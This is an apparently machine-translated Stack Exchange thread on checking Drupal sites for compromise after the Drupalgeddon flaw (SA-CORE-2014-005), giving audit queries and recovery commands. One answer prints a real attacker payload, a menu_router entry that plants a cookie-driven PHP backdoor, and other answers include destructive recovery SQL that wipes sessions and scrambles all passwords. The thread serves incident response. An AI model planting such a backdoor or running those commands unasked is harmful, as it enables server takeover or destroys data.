Drupal SA-CORE-2014-005 - Sunucumun / sitelerimin tehlikeye atılıp atılmadığını nasıl anlarım?


40

Tüm sitelerimi, Drupal SA-CORE-2014-005 istismarını çözmek için kullanılan yama yöntemini kullanarak güncelledim. Az önce dünkü bir Rus IP'den sızan drupal sitelerden birinin olduğunu bildiren raporları okudum.

https://www.drupal.org/SA-CORE-2014-005

Asıl endişelerim şuan:

  • Sitelerimin içerip içermediğini nasıl anlarım?
  • Sitemin kurban olup olmadığını tespit etmek için apache erişim günlüklerimde ne aramalıyım?
  • Şimdiye kadar bu bilgisayar korsanları oluşan sitelere ne yapıyor?

7
Bunun için bir modül var şimdi drupal.org/project/drupalgeddon
mikeytown2

100 drupal sitenin takma adı yoksa ne yapmalıyım? Bulunduğunuz bazı hack'ler nelerdir, bu yüzden ne alacağımızı biliyoruz?
Patoshi,


1
@duckx drupalgeddon modülündeki kodu kontrol edin; Kötü niyetli bir kullanıcının bir veritabanına tam erişimle yapabileceği her olası değişikliği açık nedenlerle listeleyemiyoruz. Drupal mysql kullanıcısının izin verme yetkisine sahip olduğu her türlü değişikliği yapabilirler . Yani tam anlamıyla kesin olarak söylemenin tek yolu, mevcut veritabanınızı bilinen iyi bir sürümle karşılaştırmaktır. Güvenilir bir şekilde,% 100 doğru bir şekilde itecek bir düğme arıyorsanız, sitenizin güvenli olup olmadığını söyleyin, korktuğumu hayal ediyorum :)
Clive

Ducky: Takma takma adınız yoksa ve 100 siteniz varsa, takma adların ayarlanması onlarla manuel olarak ilgilenmekten daha mı kolay? Kendine bir site kökü ve URL listesi al ve oradan bir takma ad oluşturabilirsin.
Chris Burgess,

Yanıtlar:


6

Yönetici ayrıcalıklarına sahip kullanıcıları kontrol etmek ve 15 Ekim'den sonra siteye erişen kullanıcılara bakmak için site DB'leriniz karşısında çalıştırılabilecek bazı SQL sorguları.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
Merhaba ve Drupal Cevaplarına hoş geldiniz. Verilen sayfanın küçük bir özetini sağlayarak cevabınızı artırabilirsiniz.
Wtower

BTW, 15 Ekim'den sonra oluşturulan kullanıcıları kontrol etmeniz önerilir. Bu created, kullanıcılar tablosundaki alanı kullanır . SQL enjekte eden kişinin alanın değerine saygı duyacağı garanti edilmez, bu da bu kontrolü pek de kullanışlı değildir. Nitekim, ismiyle ortak kullanıcı enjeksiyonunun drupaldev44 hafta önce sanıldığı gibi yapıldığı ortaya çıktı. İkinci öneri kadar, yine de enjekte edilen kullanıcının gerçekten giriş yapmış olacağı garanti edilmez.
Wtower

29

Bu makaleyi okuyorsanız ve istismarın başlamasından bir aydan daha fazla bir Drupal 7 sitesini kontrol etmeyi umuyorsanız, siteniz zaten büyük olasılıkla saldırıya uğramıştır . En iyi şansınız, saldırılar başlamadan önceki yedeği geri yüklemek ve oradan çalışmaktır.

SA-CORE-2014-005'te bir SSS var .

Sitelerimin tehlikeye girip girmediğini nasıl anlarım?

Sitelerin tehlikeye atılıp atılmadığını hızlı bir şekilde kontrol etmenin bir yolu Drupalgeddon drush komutudur.

Sizin için yükleme ~/.drushiledrush dl drupalgeddon

Sonra drush drupalgeddon-testsınamak için kullanın . Drush takma adları bunu kolay ve hızlı hale getirir.

Bu araç, sömürülen bir siteyi onaylayabilir, ancak sitenizin sömürülmemesini garanti edemez . Saldırılara başlamadan önce iyileştirmediğiniz sürece burada "temiz sağlık faturası" yoktur.


Site Denetim modülü, Drupalgeddon'daki kontrollerden bazılarını içerir ve size çok daha kullanışlı bir girdi sunar. Şiddetle tavsiye ederim. (EDIT: Şimdi birlikte çalışıyorlar - süper hoş!)


Güvenlik İncelemesi, Drupalgeddon saldırılarını kontrol etmez, ancak alet kemerinizde de bulundurmaya değer.


Site kod tabanınız www kullanıcısına yazılabilirse, saldırıya uğramış modülü kullanarak değiştirilmiş kodu da kontrol edebilirsiniz. Bu modül sadece ismine dayanarak düşündüğünüzü yapmayabilir :)


Tüm tehlikeye atılan siteleri tanımlamanın kesin bir yolu yoktur, ancak bu araçlar en yaygın endikasyonları belirlemenize yardımcı olabilir.


Sitemin kurban olup olmadığını tespit etmek için apache erişim günlüklerimde ne aramalıyım?

Erişim günlükleriniz şimdiye kadar birçok POST isteği içerecek. Tüm posta verilerini hatadan önce kaydetme alışılmadık bir adım atmadıysanız, bunlardan hangisinin zararlı olduğunu söyleyebilecek bilgiye sahip olmanız pek mümkün değildir.

Şimdiye kadar bu bilgisayar korsanları tehlikeye atılan sitelere ne yapıyor?

Birçoğu, sitelerinin bilgisayar korsanları tarafından yamalandığını bildiriyor! Bir saldırgan olarak, bu mantıklı geliyor - yeni kaçırılan sitenizin bir sonraki saldırgan tarafından alttan kırılmasını istemezsiniz :)

Bunun dışında , sitelerin değerli verilerinizi toplamak için harcadıklarını tahmin ediyorum (belki bazı referanslar alabilir, istismardan sonra işlem detaylarını kaldırabilir) ve spam göndermek ve mütevazı botnet köleleri gibi çalışmak gibi sıkıcı şeyler yapmak için sıkıcı şeyler yapmak isterim. Ah, ve saldırganın kaçırılan Drupal alanlarına yönelik imparatorluğunu daha da genişlet. (Üzgünüm, gözlemlenecek saldırıya uğramış sitelerim yok.)


Açıklayabilir misin? Herhangi bir saldırı her zaman bir POST isteğiyle başlar mı? Herhangi bir POST için günlüklerimi inceliyorum. Yamayı yaptıktan sonra IP 62.76.191.119'dan birini buldum.
Lance Holland

Bu istismarın kurbanı olan bir sitem vardı ve saldırganların sunucudan tonlarca spam göndermek için kullandığı görülüyordu.
Cyclonecode

24

Yaygın saldırılara yönelik bazı kontroller: (Bu kapsamlı bir liste değil, şu ana kadar vahşi bölgede görülen saldırıların bazılarıdır):

  • Kullanıcı adının, e-posta adresinin veya şifresinin olmasını istediğin şey olduğundan emin olmak için kullanıcı 1 hesabını kontrol et. Ayrıca, mümkünse yüksek düzeyde izinleri olan diğer kullanıcı hesaplarını da kontrol edin.
  • Şüpheli görünen yeni kullanıcı hesaplarını kontrol et.
  • Yeni rollerde veya yeniden adlandırılmış rollerde, örneğin, sisteminizdeki rollerde değişiklik olup olmadığını kontrol edin.
  • İzin değişikliklerini kontrol et. Bunun en önemli yönü, isimsiz kullanıcı rolünün (veya herkesin kendilerini almak için imzalayabileceği diğer rollerin) erişiminin artması için değiştirilmediğinden emin olmaktır.
  • Kötü amaçlı kod içerebilecek yeni özel bloklar olup olmadığını kontrol edin.
  • Kötü amaçlı kod içerebilecek yeni özel düğümler olup olmadığını kontrol edin.
  • Dosya sisteminizde bulunmaması gereken dosyaları kontrol edin. Sürüm kontrolü kullanıyorsanız bu kolaydır çünkü git durumunu veya svn st işlevini kullanarak yeni dosyalar olup olmadığını görebilirsiniz.
  • Kötü amaçlı dosyalar yükledilerse, erişim günlüklerinizi, aşina olmadığınız garip dosya adlarına yönelik isabet açısından kontrol edebilirsiniz.
  • Kötü amaçlı girişler için menü yönlendiricinizin veritabanı tablosuna bakın. Örneğin (drupal.org'daki drupalgeddon modülü / drush eklentisi, bu tabloyu daha ayrıntılı bir şekilde kontrol etmek için iyi bir senaryoya sahiptir):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Garip görünen girişler için menü yönlendirici tablonuza da göz atabilirsiniz.

Bilgisayar korsanlarının yapmaya çalıştığı bazı şeyler:

  • Sitenize php script dosyalarını daha sonra bir tarayıcıda vurarak çalıştırabilecekleri şekilde yerleştirin. Bu scriptler çok çeşitli zararlı şeyler yapabilir. Bu, zararlı menü yönlendirici girişleri eklenerek gerçekleştirilir.
  • Sitenize kötü şeyler yapmak veya sitenizi ele geçirmek için kullanmak üzere yönetici kullanıcı hesapları oluşturun.
  • Kullanıcı 1 e-posta adresini değiştirin, böylelikle o hesap için parola sıfırlamalarını ve kontrolünü devralmalarını sağlar.
  • Genel olarak erişilebilen kullanıcı rollerinde izinleri değiştirin.
  • Blok / düğüm / etc ekleyin. kötü amaçlı kod içerebilir. PHP filtresini etkinleştirdiyseniz, bu daha da büyük bir problemdir.

Ne yazık ki, bir saldırganın veritabanınıza yapabileceği pek çok şey vardır, bu nedenle olasılıkların tam bir listesini vermek oldukça zordur. Sitenizi kontrol altına almaya çalışan şeyler yapabilirler veya sitenizi kırabilirler ancak veritabanı tablolarını veya sütunlarını vb.

Site adınızı değiştirmek için sadece çok küçük değişiklikler yapabilirlerdi, site adınızı veya buna benzer bir şeyi değiştirmek gibi, ki bu dünyanın sonu değil ama yine de sorunlu.

Temel olarak, bir SQL komutu çalıştırarak veritabanınızda yapabileceğiniz her şeyi, bir saldırgan teorik olarak yapabilirdi.

Chris Burgess'in cevabında belirtilen tüm modüller, bu şeyleri kontrol etmekte çok faydalıdır.


1
62.76.191.119 tarafından vurulmuş olmalısınız. Tipik olarak bu IP, doc_rootunuza menu_router ve muhtemelen DB’nizle ilgili diğer kötü şeyler aracılığıyla bir dosyayı yerleştirmeye çalışıyor gibi görünüyor. yorumları drupal.org/node/2357241 adresinden okuyabilirsiniz .
scor

Sitelerimle ilgili araştırmalarımın bugüne kadar gösterdiği kadarıyla hiç vurulmadım. Bu sadece OP'ye yardımcı olacak bir bilgidir.
Rooby

"Menü yönlendirici veritabanı tablonuzu kötü amaçlı girişler için kontrol edin:" hakkında nasıl giderim? Bir centos sunucusunda im ve ben kök var.
Patoshi パ

"SELECT * FROM menu_router" veritabanı komutunu çalıştırabilir ve daha sonra yerinden görünen satırları kontrol etmek için bunların arasında dolaşabilirsiniz. Ayrıca cevabımda adı geçen ve bilinen ve sunucunuza dosya yüklemek için kullanılan belirli bir saldırıyı arayan daha özel bir komut var.
Rooby

Bu IP 62.76.191.119, güvenlik güncelleştirmesinin yayımlanmasından sonraki bir gün içinde sitelerimin güvenlik açığından yararlanmaya çalışır. Tüm sitelerimden yasaklandım. Sitelerimi zamanında güncellediğim için çok şanslıydım. Garipti çünkü sitelerimi alfabetik sıraya göre diziyordu.
cayerdis

10

Drupal.org tavsiyesine uyacağımı düşünüyorum. " Her Drupal 7 web sitesinin, duyurulduktan 7 saat sonra 15 Ekim, 23:00 UTC’den önce güncellenmemiş veya yamalı olarak kabul edilmediği varsayımıyla ilerlemelisiniz ." As Bevan bu söz konusu açıklama "Güncelleştirme veya Drupal saldırganlar güncelleme veya Drupal yama önce yüklenmiş olduğu arka kapılar düzeltmek gelmez yama."

Bevan ayrıca, virüslü olup olmadığınızı ve nasıl iyileşeceğinizi ve nasıl önlenebileceğinizi analiz etmenize yardımcı olmak için aşağıdaki iş akışı çizelgesini hazırladı . Ancak, iş akışının en son sürümüne sahip olduğunuzdan emin olmak için herkesten orijinal makalesine gitmesini ister . Ayrıca Acquia , Acquia Cloud'da yaşadıkları saldırı ve kalıplarla ilgili ilginç bir makale yayınladı.

 savunmasız olup olmadığınızı, virüslü olup olmadığınızı ve nasıl iyileşeceğinizi anlamak için akış şeması


4

Alıntı: https://www.drupal.org/node/2357241#comment-9258955

Bu, menu_router tablosu access_callback sütununa eklenen dosya örneği:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Gördüğünüz gibi, file / image / vzoh.php dosyalarını oluşturmaya çalışıyor, ancak php ile başarısız olan bu dizinlerin içinde sadece okuma izinlerine sahip olduğum için.

Drupal dizininizde arama yaparak oluşturulan benzer dosyaları bulan kişilerin raporları: https://www.drupal.org/node/2357241#comment-9260017


Yaptığım şey şu komutu yapmaktı:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Alıntı: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Canlı sunucuda değişen dosyaları gösterme: git status

Menu_router üzerinden kod yürütme girişimleri aranıyor: menu_router içinden * seçeneğini seçin, burada access_callback = 'file_put_contents'

Hangi dosyaların canlı sunucuda olduğunu ve sürüm kontrolünde olmadığını göstermek: diff -r docroot repo | grep docroot | grep 'Sadece dokümanda'

PHP dizinindeki dosyalar dizininde bulun: bulun. -path "* php"

Bir kullanıcının sitenize giriş yaptığı zaman ile en son yapılan sayfa ziyareti arasındaki süreyi kontrol etme: s. s.uid = u.uid;


3

Kompanze edilip edilmediğini söylemek için çok iyi bir komut listesi.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
Ayrı cevaplar vermek yerine, belki de birincisini düzenlemeli ve ek bilgileri eklemelisiniz?
Cyclonecode

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.